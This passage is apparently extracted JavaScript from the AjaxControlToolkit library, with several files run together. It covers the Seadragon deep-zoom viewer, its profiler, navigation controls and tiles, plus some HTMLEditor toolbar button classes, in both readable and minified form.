        return this._minUpdateTime;
    },

    getMaxUpdateTime: function() {
        return this._maxUpdateTime;
    },

    // Methods -- IDLING TIME ACCESSORS

    getAvgIdleTime: function() {
        return this._avgIdleTime;
    },

    getMinIdleTime: function() {
        return this._minIdleTime;
    },

    getMaxIdleTime: function() {
        return this._maxIdleTime;
    },

    // Methods -- GENERAL ACCESSORS 

    isMidUpdate: function() {
        return this._midUpdate;
    },

    getNumUpdates: function() {
        return this._numUpdates;
    },

    // Methods -- MODIFIERS

    beginUpdate: function() {
        if (this._midUpdate) {
            this.endUpdate();
        }

        this._midUpdate = true;
        this._lastBeginTime = new Date().getTime();

        if (this._numUpdates < 1) {
            return;     // this is the first update
        }

        var time = this._lastBeginTime - this._lastEndTime;

        this._avgIdleTime = (this._avgIdleTime * (this._numUpdates - 1) + time) / this._numUpdates;

        if (time < this._minIdleTime) {
            this._minIdleTime = time;
        }
        if (time > this._maxIdleTime) {
            this._maxIdleTime = time;
        }
    },

    endUpdate: function() {
        if (!this._midUpdate) {
            return;
        }

        this._lastEndTime = new Date().getTime();
        this._midUpdate = false;

        var time = this._lastEndTime - this._lastBeginTime;

        this._numUpdates++;
        this._avgUpdateTime = (this._avgUpdateTime * (this._numUpdates - 1) + time) / this._numUpdates;

        if (time < this._minUpdateTime) {
            this._minUpdateTime = time;
        }
        if (time > this._maxUpdateTime) {
            this._maxUpdateTime = time;
        }
    },

    clearProfile: function() {
        this._midUpdate = false;
        this._numUpdates = 0;

        this._lastBeginTime = null;
        this._lastEndTime = null;

        this._minUpdateTime = Infinity;
        this._avgUpdateTime = 0;
        this._maxUpdateTime = 0;

        this._minIdleTime = Infinity;
        this._avgIdleTime = 0;
        this._maxIdleTime = 0;
    }
}
AjaxControlToolkit.Seadragon.Profiler.registerClass('AjaxControlToolkit.Seadragon.Profiler', null, Sys.IDisposable);
Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector.prototype = {
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Selector", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton);

Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton.prototype = {
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.initializeBase(this, [element]);
    
    this._defaultColor = "#000000";
    this._colorDiv = null;
    this._methodButton = null;
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.prototype = {
    get_defaultColor : function() {
        return this._defaultColor;
    },
    set_defaultColor : function(value) {
        this._defaultColor = value;
        if (this._colorDiv != null) {
            this._colorDiv.get_element().style.backgroundColor = value;
        }
    },
    
    get_colorDiv : function() {
        return this._colorDiv;
    },
    set_colorDiv : function(value) {
        this._colorDiv = value;
    },
    
    get_methodButton : function() {
        return this._methodButton;
    },
    set_methodButton : function(value) {
        this._methodButton = value;
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.callBaseMethod(this, "callMethod")) return false;
        this.setColor(this.get_defaultColor());
    },
    
    setColor : function(color) {
    },

    initialize : function() {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.callBaseMethod(this, "initialize");
        
        if (this._methodButton != null) {
            this._methodButton.callMethod = Function.createDelegate(this, this.callMethod);
        }
        if (this._colorDiv != null) {
            this._colorDiv.callMethod = Function.createDelegate(this, this.callMethod);
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton);

�Wif(!window.SIGNAL)window.SIGNAL="----seadragon----";Type.registerNamespace("AjaxControlToolkit.Seadragon");Type.registerNamespace("Seadragon");AjaxControlToolkit.Seadragon.ControlAnchor=function(){throw Error.invalidOperation();};AjaxControlToolkit.Seadragon.ControlAnchor.prototype={NONE:0,TOP_LEFT:1,TOP_RIGHT:2,BOTTOM_RIGHT:3,BOTTOM_LEFT:4};AjaxControlToolkit.Seadragon.ControlAnchor.registerEnum("AjaxControlToolkit.Seadragon.ControlAnchor",false);Seadragon.ControlAnchor=AjaxControlToolkit.Seadragon.ControlAnchor;AjaxControlToolkit.Seadragon.OverlayPlacement=function(){throw Error.invalidOperation();};AjaxControlToolkit.Seadragon.OverlayPlacement.prototype={CENTER:0,TOP_LEFT:1,TOP:2,TOP_RIGHT:3,RIGHT:4,BOTTOM_RIGHT:5,BOTTOM:6,BOTTOM_LEFT:7,LEFT:8};AjaxControlToolkit.Seadragon.OverlayPlacement.registerEnum("AjaxControlToolkit.Seadragon.OverlayPlacement",false);Seadragon.OverlayPlacement=AjaxControlToolkit.Seadragon.OverlayPlacement;AjaxControlToolkit.Seadragon.NavControl=function(a){this._group=null;this._zooming=false;this._zoomFactor=null;this._lastZoomTime=null;this._viewer=a;this.config=this._viewer.config;this.elmt=null;this.initialize()};AjaxControlToolkit.Seadragon.NavControl.prototype={initialize:function(){var d=Function.createDelegate(this,this._beginZoomingIn),b=Function.createDelegate(this,this._endZooming),f=Function.createDelegate(this,this._doSingleZoomIn),c=Function.createDelegate(this,this._beginZoomingOut),e=Function.createDelegate(this,this._doSingleZoomOut),h=Function.createDelegate(this,this._onHome),g=Function.createDelegate(this,this._onFullPage),a=this._viewer.config.navImages,l=$create(AjaxControlToolkit.Seadragon.Button,{config:this._viewer.config,tooltip:Seadragon.Strings.getString("Tooltips.ZoomIn"),srcRest:this._resolveUrl(a.zoomIn.REST),srcGroup:this._resolveUrl(a.zoomIn.GROUP),srcHover:this._resolveUrl(a.zoomIn.HOVER),srcDown:this._resolveUrl(a.zoomIn.DOWN)},{onPress:d,onRelease:b,onClick:f,onEnter:d,onExit:b},null,null),j=$create(AjaxControlToolkit.Seadragon.Button,{config:this._viewer.config,tooltip:Seadragon.Strings.getString("Tooltips.ZoomOut"),srcRest:this._resolveUrl(a.zoomOut.REST),srcGroup:this._resolveUrl(a.zoomOut.GROUP),srcHover:this._resolveUrl(a.zoomOut.HOVER),srcDown:this._resolveUrl(a.zoomOut.DOWN)},{onPress:c,onRelease:b,onClick:e,onEnter:c,onExit:b},null,null),k=$create(AjaxControlToolkit.Seadragon.Button,{config:this._viewer.config,tooltip:Seadragon.Strings.getString("Tooltips.Home"),srcRest:this._resolveUrl(a.home.REST),srcGroup:this._resolveUrl(a.home.GROUP),srcHover:this._resolveUrl(a.home.HOVER),srcDown:this._resolveUrl(a.home.DOWN)},{onRelease:h},null,null),i=$create(AjaxControlToolkit.Seadragon.Button,{config:this._viewer.config,tooltip:Seadragon.Strings.getString("Tooltips.FullPage"),srcRest:this._resolveUrl(a.fullpage.REST),srcGroup:this._resolveUrl(a.fullpage.GROUP),srcHover:this._resolveUrl(a.fullpage.HOVER),srcDown:this._resolveUrl(a.fullpage.DOWN)},{onRelease:g},null,null);this._group=$create(AjaxControlToolkit.Seadragon.ButtonGroup,{config:this._viewer.config,buttons:[l,j,k,i]},null,null,null);this.elmt=this._group.get_element();this.elmt[SIGNAL]=true;this._viewer.add_open(Function.createDelegate(this,this._lightUp))},dispose:function(){},_resolveUrl:function(a){return String.format("{1}",this._viewer.get_prefixUrl(),a)},_beginZoomingIn:function(){this._lastZoomTime=(new Date).getTime();this._zoomFactor=this.config.zoomPerSecond;if(this._zoomFactor<=0)return;this._zooming=true;this._scheduleZoom()},_beginZoomingOut:function(){this._lastZoomTime=(new Date).getTime();this._zoomFactor=this.config.zoomPerSecond;if(this._zoomFactor<=0)return;this._zoomFactor=1/this._zoomFactor;this._zooming=true;this._scheduleZoom()},_endZooming:function(){this._zooming=false},_scheduleZoom:function(){window.setTimeout(Function.createDelegate(this,this._doZoom),10)},_doZoom:function(){if(this._zooming&&this._viewer.viewport){var a=(new Date).getTime(),c=a-this._lastZoomTime,b=Math.pow(this._zoomFactor,c/1000);this._viewer.viewport.zoomBy(b);this._viewer.viewport.applyConstraints();this._lastZoomTime=a;this._scheduleZoom()}},_doSingleZoomIn:function(){if(this._viewer.viewport){this._zooming=false;this._viewer.viewport.zoomBy(this.config.zoomPerClick/1);this._viewer.viewport.applyConstraints()}},_doSingleZoomOut:function(){if(this._viewer.viewport){this._zooming=false;this._viewer.viewport.zoomBy(1/this.config.zoomPerClick);this._viewer.viewport.applyConstraints()}},_lightUp:function(){this._group.emulateEnter();this._group.emulateExit()},_onHome:function(){if(this._viewer.viewport)this._viewer.viewport.goHome()},_onFullPage:function(){this._viewer.setFullPage(!this._viewer.isFullPage());this._group.emulateExit();if(this._viewer.viewport)this._viewer.viewport.applyConstraints()}};AjaxControlToolkit.Seadragon.NavControl.registerClass("AjaxControlToolkit.Seadragon.NavControl",null,Sys.IDisposable);AjaxControlToolkit.Seadragon.Control=function(c,b,a){this.elmt=c;this.anchor=b;this.container=a;this.wrapper=Seadragon.Utils.makeNeutralElement("span");this.initialize()};AjaxControlToolkit.Seadragon.Control.prototype={initialize:function(){this.wrapper=Seadragon.Utils.makeNeutralElement("span");this.wrapper.style.display="inline-block";this.wrapper.appendChild(this.elmt);if(this.anchor==Seadragon.ControlAnchor.NONE)this.wrapper.style.width=this.wrapper.style.height="100%";this.addToAnchor()},addToAnchor:function(){if(this.anchor==Seadragon.ControlAnchor.TOP_RIGHT||this.anchor==Seadragon.ControlAnchor.BOTTOM_RIGHT)this.container.insertBefore(this.elmt,this.container.firstChild);else this.container.appendChild(this.elmt)},destroy:function(){this.wrapper.removeChild(this.elmt);this.container.removeChild(this.wrapper)},isVisible:function(){return this.wrapper.style.display!="none"},setVisible:function(a){this.wrapper.style.display=a?"inline-block":"none"},setOpacity:function(a){if(this.elmt[SIGNAL]&&Seadragon.Utils.getBrowser()==Seadragon.Browser.IE)Seadragon.Utils.setElementOpacity(this.elmt,a,true);else Seadragon.Utils.setElementOpacity(this.wrapper,a,true)}};AjaxControlToolkit.Seadragon.Control.registerClass("AjaxControlToolkit.Seadragon.Control",null,Sys.IDisposable);AjaxControlToolkit.Seadragon.Viewer=function(a){AjaxControlToolkit.Seadragon.Viewer.initializeBase(this,[a]);this.config=new AjaxControlToolkit.Seadragon.Config;this._prefixUrl=null;this._controls=[];this._customControls=null;this._overlays=[];this._overlayControls=null;this._container=null;this._canvas=null;this._controlsTL=null;this._controlsTR=null;this._controlsBR=null;this._controlsBL=null;this._bodyWidth=null;this._bodyHeight=null;this._bodyOverflow=null;this._docOverflow=null;this._fsBoundsDelta=null;this._prevContainerSize=null;this._lastOpenStartTime=0;this._lastOpenEndTime=0;this._animating=false;this._forceRedraw=false;this._mouseInside=false;this._xmlPath=null;this.source=null;this.drawer=null;this.viewport=null;this.profiler=null};AjaxControlToolkit.Seadragon.Viewer.prototype={initialize:function(){AjaxControlToolkit.Seadragon.Viewer.callBaseMethod(this,"initialize");this._container=Seadragon.Utils.makeNeutralElement("div");this._canvas=Seadragon.Utils.makeNeutralElement("div");this._controlsTL=Seadragon.Utils.makeNeutralElement("div");this._controlsTR=Seadragon.Utils.makeNeutralElement("div");this._controlsBR=Seadragon.Utils.makeNeutralElement("div");this._controlsBL=Seadragon.Utils.makeNeutralElement("div");var c=new Seadragon.MouseTracker(this._canvas,this.config.clickTimeThreshold,this.config.clickDistThreshold),d=new Seadragon.MouseTracker(this._container,this.config.clickTimeThreshold,this.config.clickDistThreshold);this._bodyWidth=document.body.style.width;this._bodyHeight=document.body.style.height;this._bodyOverflow=document.body.style.overflow;this._docOverflow=document.documentElement.style.overflow;this._fsBoundsDelta=new AjaxControlToolkit.Seadragon.Point(1,1);var b=this._canvas.style,a=this._container.style,h=this._controlsTL.style,i=this._controlsTR.style,g=this._controlsBR.style,f=this._controlsBL.style;a.width="100%";a.height="100%";a.position="relative";a.left="0px";a.top="0px";a.textAlign="left";b.width="100%";b.height="100%";b.overflow="hidden";b.position="absolute";b.top="0px";b.left="0px";h.position=i.position=g.position=f.position="absolute";h.top=i.top="0px";h.left=f.left="0px";i.right=g.right="0px";f.bottom=g.bottom="0px";c.clickHandler=Function.createDelegate(this,this._onCanvasClick);c.dragHandler=Function.createDelegate(this,this._onCanvasDrag);c.releaseHandler=Function.createDelegate(this,this._onCanvasRelease);c.setTracking(true);if(this.get_showNavigationControl()){navControl=(new AjaxControlToolkit.Seadragon.NavControl(this)).elmt;navControl.style.marginRight="4px";navControl.style.marginBottom="4px";this.addControl(navControl,AjaxControlToolkit.Seadragon.ControlAnchor.BOTTOM_RIGHT)}for(var e=0;e<this._customControls.length;e++)this.addControl(this._customControls[e].id,this._customControls[e].anchor);d.enterHandler=Function.createDelegate(this,this._onContainerEnter);d.exitHandler=Function.createDelegate(this,this._onContainerExit);d.releaseHandler=Function.createDelegate(this,this._onContainerRelease);d.setTracking(true);window.setTimeout(Function.createDelegate(this,this._beginControlsAutoHide),1);this._container.appendChild(this._canvas);this._container.appendChild(this._controlsTL);this._container.appendChild(this._controlsTR);this._container.appendChild(this._controlsBR);this._container.appendChild(this._controlsBL);this.get_element().appendChild(this._container);if(this._xmlPath)this.openDzi(this._xmlPath)},_raiseEvent:function(c,a){var b=this.get_events().getHandler(c);if(b){if(!a)a=Sys.EventArgs.Empty;b(this,a)}},_beginControlsAutoHide:function(){if(!this.config.autoHideControls)return;this._controlsShouldFade=true;this._controlsFadeBeginTime=(new Date).getTime()+this._controlsFadeDelay;window.setTimeout(Function.createDelegate(this,this._scheduleControlsFade),this._controlsFadeDelay)},_scheduleControlsFade:function(){window.setTimeout(Function.createDelegate(this,this._updateControlsFade),20)},_updateControlsFade:function(){if(this._controlsShouldFade){var c=(new Date).getTime(),d=c-this._controlsFadeBeginTime,a=1-d/this._controlsFadeLength;a=Math.min(1,a);a=Math.max(0,a);for(var b=this._controls.length-1;b>=0;b--)this._controls[b].setOpacity(a);if(a>0)this._scheduleControlsFade()}},_onCanvasClick:function(f,b,d,e){if(this.viewport&&d){var a=this.config.zoomPerClick,c=e?1/a:a;this.viewport.zoomBy(c,this.viewport.pointFromPixel(b,true));this.viewport.applyConstraints()}},_onCanvasDrag:function(c,b,a){if(this.viewport)this.viewport.panBy(this.viewport.deltaPointsFromPixels(a.negate()))},_onCanvasRelease:function(d,c,a){if(a&&this.viewport)this.viewport.applyConstraints()},_onContainerExit:function(d,c,a){if(!a){this._mouseInside=false;if(!this._animating)this._beginControlsAutoHide()}},_onContainerRelease:function(d,c,b,a){if(!a){this._mouseInside=false;if(!this._animating)this._beginControlsAutoHide()}},_getControlIndex:function(b){for(var a=this._controls.length-1;a>=0;a--)if(this._controls[a].elmt==b)return a;return -1},_abortControlsAutoHide:function(){this._controlsShouldFade=false;for(var a=this._controls.length-1;a>=0;a--)this._controls[a].setOpacity(1)},_onContainerEnter:function(){this._mouseInside=true;this._abortControlsAutoHide()},_updateOnce:function(){if(!this.source)return;this.profiler.beginUpdate();var b=Seadragon.Utils.getElementSize(this._container);if(!b.equals(this._prevContainerSize)){this.viewport.resize(b,true);this._prevContainerSize=b;this._raiseEvent("resize",this)}var a=this.viewport.update();if(!this._animating&&a){this._raiseEvent("animationstart",self);this._abortControlsAutoHide()}if(a){this.drawer.update();this._raiseEvent("animation",self)}else if(this._forceRedraw||this.drawer.needsUpdate()){this.drawer.update();this._forceRedraw=false}else this.drawer.idle();if(this._animating&&!a){this._raiseEvent("animationfinish",this);if(!this._mouseInside)this._beginControlsAutoHide()}this._animating=a;this.profiler.endUpdate()},_onClose:function(){this.source=null;this.viewport=null;this.drawer=null;this.profiler=null;this._canvas.innerHTML=""},_beforeOpen:function(){if(this.source)this._onClose();this._lastOpenStartTime=(new Date).getTime();window.setTimeout(Function.createDelegate(this,function(){if(this._lastOpenStartTime>this._lastOpenEndTime)this._setMessage(Seadragon.Strings.getString("Messages.Loading"))}),2000);return this._lastOpenStartTime},_setMessage:function(c){var b=document.createTextNode(c);this._canvas.innerHTML="";this._canvas.appendChild(Seadragon.Utils.makeCenteredNode(b));var a=b.parentNode.style;a.color="white";a.fontFamily="verdana";a.fontSize="13px";a.fontSizeAdjust="none";a.fontStyle="normal";a.fontStretch="normal";a.fontVariant="normal";a.fontWeight="normal";a.lineHeight="1em";a.textAlign="center";a.textDecoration="none"},_onOpen:function(e,c,d){this._lastOpenEndTime=(new Date).getTime();if(e<this._lastOpenStartTime){Seadragon.Debug.log("Ignoring out-of-date open.");this._raiseEvent("ignore");return}else if(!c){this._setMessage(d);this._raiseEvent("error");return}this._canvas.innerHTML="";this._prevContainerSize=Seadragon.Utils.getElementSize(this._container);this.source=c;this.viewport=new AjaxControlToolkit.Seadragon.Viewport(this._prevContainerSize,this.source.dimensions,this.config);this.drawer=new AjaxControlToolkit.Seadragon.Drawer(this.source,this.viewport,this._canvas);this.profiler=new AjaxControlToolkit.Seadragon.Profiler;this._animating=false;this._forceRedraw=true;this._scheduleUpdate(this._updateMulti);for(var b=0;b<this._overlayControls.length;b++){var a=this._overlayControls[b];if(a.point!=null)this.drawer.addOverlay(a.id,new AjaxControlToolkit.Seadragon.Point(a.point.X,a.point.Y),AjaxControlToolkit.Seadragon.OverlayPlacement.TOP_LEFT);else this.drawer.addOverlay(a.id,new AjaxControlToolkit.Seadragon.Rect(a.rect.Point.X,a.rect.Point.Y,a.rect.Width,a.rect.Height),a.placement)}this._raiseEvent("open")},_scheduleUpdate:function(c,a){if(this._animating)return window.setTimeout(Function.createDelegate(this,c),1);var b=(new Date).getTime(),a=a?a:b,d=a+1000/60,e=Math.max(1,d-b);return window.setTimeout(Function.createDelegate(this,c),e)},_updateMulti:function(){if(!this.source)return;var a=(new Date).getTime();this._updateOnce();this._scheduleUpdate(arguments.callee,a)},_updateOnce:function(){if(!this.source)return;this.profiler.beginUpdate();var b=Seadragon.Utils.getElementSize(this._container);if(!b.equals(this._prevContainerSize)){this.viewport.resize(b,true);this._prevContainerSize=b;this._raiseEvent("resize")}var a=this.viewport.update();if(!this._animating&&a){this._raiseEvent("animationstart");this._abortControlsAutoHide()}if(a){this.drawer.update();this._raiseEvent("animation")}else if(this._forceRedraw||this.drawer.needsUpdate()){this.drawer.update();this._forceRedraw=false}else this.drawer.idle();if(this._animating&&!a){this._raiseEvent("animationfinish");if(!this._mouseInside)this._beginControlsAutoHide()}this._animating=a;this.profiler.endUpdate()},getNavControl:function(){return this._navControl},get_xmlPath:function(){return this._xmlPath},set_xmlPath:function(a){this._xmlPath=a},get_debugMode:function(){return this.config.debugMode},set_debugMode:function(a){this.config.debugMode=a},get_animationTime:function(){return this.config.animationTime},set_animationTime:function(a){this.config.animationTime=a},get_blendTime:function(){return this.config.blendTime},set_blendTime:function(a){this.config.blendTime=a},get_alwaysBlend:function(){return this.config.alwaysBlend},set_alwaysBlend:function(a){this.config.alwaysBlend=a},get_autoHideControls:function(){return this.config.autoHideControls},set_autoHideControls:function(a){this.config.autoHideControls=a},get_immediateRender:function(){return this.config.immediateRender},set_immediateRender:function(a){this.config.immediateRender=a},get_wrapHorizontal:function(){return this.config.wrapHorizontal},set_wrapHorizontal:function(a){this.config.wrapHorizontal=a},get_wrapVertical:function(){return this.config.wrapVertical},set_wrapVertical:function(a){this.config.wrapVertical=a},get_minZoomDimension:function(){return this.config.minZoomDimension},set_minZoomDimension:function(a){this.config.minZoomDimension=a},get_maxZoomPixelRatio:function(){return this.config.maxZoomPixelRatio},set_maxZoomPixelRatio:function(a){this.config.maxZoomPixelRatio=a},get_visibilityRatio:function(){return this.config.visibilityRatio},set_visibilityRatio:function(a){this.config.visibilityRatio=a},get_springStiffness:function(){return this.config.springStiffness},set_springStiffness:function(a){this.config.springStiffness=a},get_imageLoaderLimit:function(){return this.config.imageLoaderLimit},set_imageLoaderLimit:function(a){this.config.imageLoaderLimit=a},get_clickTimeThreshold:function(){return this.config.clickTimeThreshold},set_clickTimeThreshold:function(a){this.config.clickTimeThreshold=a},get_clickDistThreshold:function(){return this.config.clickDistThreshold},set_clickDistThreshold:function(a){this.config.clickDistThreshold=a},get_zoomPerClick:function(){return this.config.zoomPerClick},set_zoomPerClick:function(a){this.config.zoomPerClick=a},get_zoomPerSecond:function(){return this.config.zoomPerSecond},set_zoomPerSecond:function(a){this.config.zoomPerSecond=a},get_maxImageCacheCount:function(){return this.config.maxImageCacheCount},set_maxImageCacheCount:function(a){this.config.maxImageCacheCount=a},get_showNavigationControl:function(){return this.config.showNavigationControl},set_showNavigationControl:function(a){this.config.showNavigationControl=a},get_minPixelRatio:function(){return this.config.minPixelRatio},set_minPixelRatio:function(a){this.config.minPixelRatio=a},get_mouseNavEnabled:function(){return this.config.mouseNavEnabled},set_mouseNavEnabled:function(a){this.config.mouseNavEnabled=a},get_controls:function(){return this._customControls},set_controls:function(a){this._customControls=a},get_overlays:function(){return this._overlayControls},set_overlays:function(a){this._overlayControls=a},get_prefixUrl:function(){return this._prefixUrl},set_prefixUrl:function(a){this._prefixUrl=a},add_open:function(a){this.get_events().addHandler("open",a)},remove_open:function(a){this.get_events().removeHandler("open",a)},add_error:function(a){this.get_events().addHandler("error",a)},remove_error:function(a){this.get_events().removeHandler("error",a)},add_ignore:function(a){this.get_events().addHandler("ignore",a)},remove_ignore:function(a){this.get_events().removeHandler("ignore",a)},add_resize:function(a){this.get_events().addHandler("resize",a)},remove_resize:function(a){this.get_events().removeHandler("resize",a)},add_animationstart:function(a){this.get_events().addHandler("animationstart",a)},remove_animationstart:function(a){this.get_events().removeHandler("animationstart",a)},add_animationend:function(a){this.get_events().addHandler("animationend",a)},remove_animationend:function(a){this.get_events().removeHandler("animationend",a)},addControl:function(a,c){var a=Seadragon.Utils.getElement(a);if(this._getControlIndex(a)>=0)return;var b=null;switch(c){case AjaxControlToolkit.Seadragon.ControlAnchor.TOP_RIGHT:b=this._controlsTR;a.style.position="relative";break;case AjaxControlToolkit.Seadragon.ControlAnchor.BOTTOM_RIGHT:b=this._controlsBR;a.style.position="relative";break;case AjaxControlToolkit.Seadragon.ControlAnchor.BOTTOM_LEFT:b=this._controlsBL;a.style.position="relative";break;case AjaxControlToolkit.Seadragon.ControlAnchor.TOP_LEFT:b=this._controlsTL;a.style.position="relative";break;case AjaxControlToolkit.Seadragon.ControlAnchor.NONE:default:b=this._container;a.style.position="absolute"}this._controls.push(new AjaxControlToolkit.Seadragon.Control(a,c,b))},isOpen:function(){return !!this.source},openDzi:function(c,b){var a=this._beforeOpen();AjaxControlToolkit.Seadragon.DziTileSourceHelper.createFromXml(c,b,Seadragon.Utils.createCallback(null,Function.createDelegate(this,this._onOpen),a))},openTileSource:function(b){var a=beforeOpen();window.setTimeout(Function.createDelegate(this,function(){onOpen(a,b)}),1)},close:function(){if(!this.source)return;this._onClose()},removeControl:function(b){var b=Seadragon.Utils.getElement(b),a=this._getControlIndex(b);if(a>=0){this._controls[a].destroy();this._controls.splice(a,1)}},clearControls:function(){while(this._controls.length>0)this._controls.pop().destroy()},isDashboardEnabled:function(){for(var a=this._controls.length-1;a>=0;a--)if(this._controls[a].isVisible())return true;return false},isFullPage:function(){return this._container.parentNode==document.body},isMouseNavEnabled:function(){return this._innerTracker.isTracking()},isVisible:function(){return this._container.style.visibility!="hidden"},setDashboardEnabled:function(b){for(var a=this._controls.length-1;a>=0;a--)this._controls[a].setVisible(b)},setFullPage:function(e){if(e==this.isFullPage())return;var h=document.body,a=h.style,d=document.documentElement.style,b=this._container.style,c=this._canvas.style;if(e){bodyOverflow=a.overflow;docOverflow=d.overflow;a.overflow="hidden";d.overflow="hidden";bodyWidth=a.width;bodyHeight=a.height;a.width="100%";a.height="100%";c.backgroundColor="black";c.color="white";b.position="fixed";b.zIndex="99999999";h.appendChild(this._container);this._prevContainerSize=Seadragon.Utils.getWindowSize();this._onContainerEnter()}else{a.overflow=bodyOverflow;d.overflow=docOverflow;a.width=bodyWidth;a.height=bodyHeight;c.backgroundColor="";c.color="";b.position="relative";b.zIndex="";this.get_element().appendChild(this._container);this._prevContainerSize=Seadragon.Utils.getElementSize(this.get_element());this._onContainerExit()}if(this.viewport){var g=this.viewport.getBounds();this.viewport.resize(this._prevContainerSize);var f=this.viewport.getBounds();if(e)this._fsBoundsDelta=new AjaxControlToolkit.Seadragon.Point(f.width/g.width,f.height/g.height);else{this.viewport.update();this.viewport.zoomBy(Math.max(this._fsBoundsDelta.x,this._fsBoundsDelta.y),null,true)}this._forceRedraw=true;this._raiseEvent("resize",this);this._updateOnce()}},setMouseNavEnabled:function(a){this._innerTracker.setTracking(a)},setVisible:function(a){this._container.style.visibility=a?"":"hidden"}};AjaxControlToolkit.Seadragon.Viewer.registerClass("AjaxControlToolkit.Seadragon.Viewer",Sys.UI.Control)�Type.registerNamespace("AjaxControlToolkit.Seadragon");AjaxControlToolkit.Seadragon.Profiler=function(){var a=this;a._midUpdate=false;a._numUpdates=0;a._lastBeginTime=null;a._lastEndTime=null;a._minUpdateTime=Infinity;a._avgUpdateTime=0;a._maxUpdateTime=0;a._minIdleTime=Infinity;a._avgIdleTime=0;a._maxIdleTime=0};AjaxControlToolkit.Seadragon.Profiler.prototype={getAvgUpdateTime:function(){return this._avgUpdateTime},getMinUpdateTime:function(){return this._minUpdateTime},getMaxUpdateTime:function(){return this._maxUpdateTime},getAvgIdleTime:function(){return this._avgIdleTime},getMinIdleTime:function(){return this._minIdleTime},getMaxIdleTime:function(){return this._maxIdleTime},isMidUpdate:function(){return this._midUpdate},getNumUpdates:function(){return this._numUpdates},beginUpdate:function(){var a=this;a._midUpdate&&a.endUpdate();a._midUpdate=true;a._lastBeginTime=(new Date).getTime();if(a._numUpdates<1)return;var b=a._lastBeginTime-a._lastEndTime;a._avgIdleTime=(a._avgIdleTime*(a._numUpdates-1)+b)/a._numUpdates;if(b<a._minIdleTime)a._minIdleTime=b;if(b>a._maxIdleTime)a._maxIdleTime=b},endUpdate:function(){var a=this;if(!a._midUpdate)return;a._lastEndTime=(new Date).getTime();a._midUpdate=false;var b=a._lastEndTime-a._lastBeginTime;a._numUpdates++;a._avgUpdateTime=(a._avgUpdateTime*(a._numUpdates-1)+b)/a._numUpdates;if(b<a._minUpdateTime)a._minUpdateTime=b;if(b>a._maxUpdateTime)a._maxUpdateTime=b},clearProfile:function(){var a=this;a._midUpdate=false;a._numUpdates=0;a._lastBeginTime=null;a._lastEndTime=null;a._minUpdateTime=Infinity;a._avgUpdateTime=0;a._maxUpdateTime=0;a._minIdleTime=Infinity;a._avgIdleTime=0;a._maxIdleTime=0}};AjaxControlToolkit.Seadragon.Profiler.registerClass("AjaxControlToolkit.Seadragon.Profiler",null,Sys.IDisposable);#/Type.registerNamespace("AjaxControlToolkit.Seadragon");Type.registerNamespace("Seadragon");var QUOTA=100,MIN_PIXEL_RATIO=.5,browser=Seadragon.Utils.getBrowser(),browserVer=Seadragon.Utils.getBrowserVersion(),subpixelRenders=browser==Seadragon.Browser.FIREFOX||browser==Seadragon.Browser.OPERA||browser==Seadragon.Browser.SAFARI&&browserVer>=4||browser==Seadragon.Browser.CHROME&&browserVer>=2,useCanvas=typeof document.createElement("canvas").getContext=="function"&&subpixelRenders;AjaxControlToolkit.Seadragon.Tile=function(e,g,h,c,d,f){var b=null,a=this;a.level=e;a.x=g;a.y=h;a.bounds=c;a.exists=d;a.loaded=false;a.loading=false;a.elmt=b;a.image=b;a.url=f;a.style=b;a.position=b;a.size=b;a.blendStart=b;a.opacity=b;a.distance=b;a.visibility=b;a.beingDrawn=false;a.lastTouchTime=0};AjaxControlToolkit.Seadragon.Tile.prototype={dispose:function(){},toString:function(){return this.level+"/"+this.x+"_"+this.y},drawHTML:function(e){var b="px",a=this;if(!a.loaded){Seadragon.Debug.error("Attempting to draw tile "+a.toString()+" when it's not yet loaded.");return}if(!a.elmt){a.elmt=Seadragon.Utils.makeNeutralElement("img");a.elmt.src=a.url;a.style=a.elmt.style;a.style.position="absolute";a.style.msInterpolationMode="nearest-neighbor"}var d=a.elmt,c=a.style,f=a.position.apply(Math.floor),g=a.size.apply(Math.ceil);d.parentNode!=e&&e.appendChild(d);c.left=f.x+b;c.top=f.y+b;c.width=g.x+b;c.height=g.y+b;Seadragon.Utils.setElementOpacity(d,a.opacity)},drawCanvas:function(c){var a=this;if(!a.loaded){Seadragon.Debug.error("Attempting to draw tile "+a.toString()+" when it's not yet loaded.");return}var b=a.position,d=a.size;c.globalAlpha=a.opacity;c.drawImage(a.image,b.x,b.y,d.x,d.y)},unload:function(){var a=this;a.elmt&&a.elmt.parentNode&&a.elmt.parentNode.removeChild(a.elmt);a.elmt=null;a.image=null;a.loaded=false;a.loading=false}};AjaxControlToolkit.Seadragon.Tile.registerClass("AjaxControlToolkit.Seadragon.Tile",null,Sys.IDisposable);AjaxControlToolkit.Seadragon.Overlay=function(c,a,d){var b=this;b.elmt=c;b.scales=a instanceof AjaxControlToolkit.Seadragon.Rect;b.bounds=new 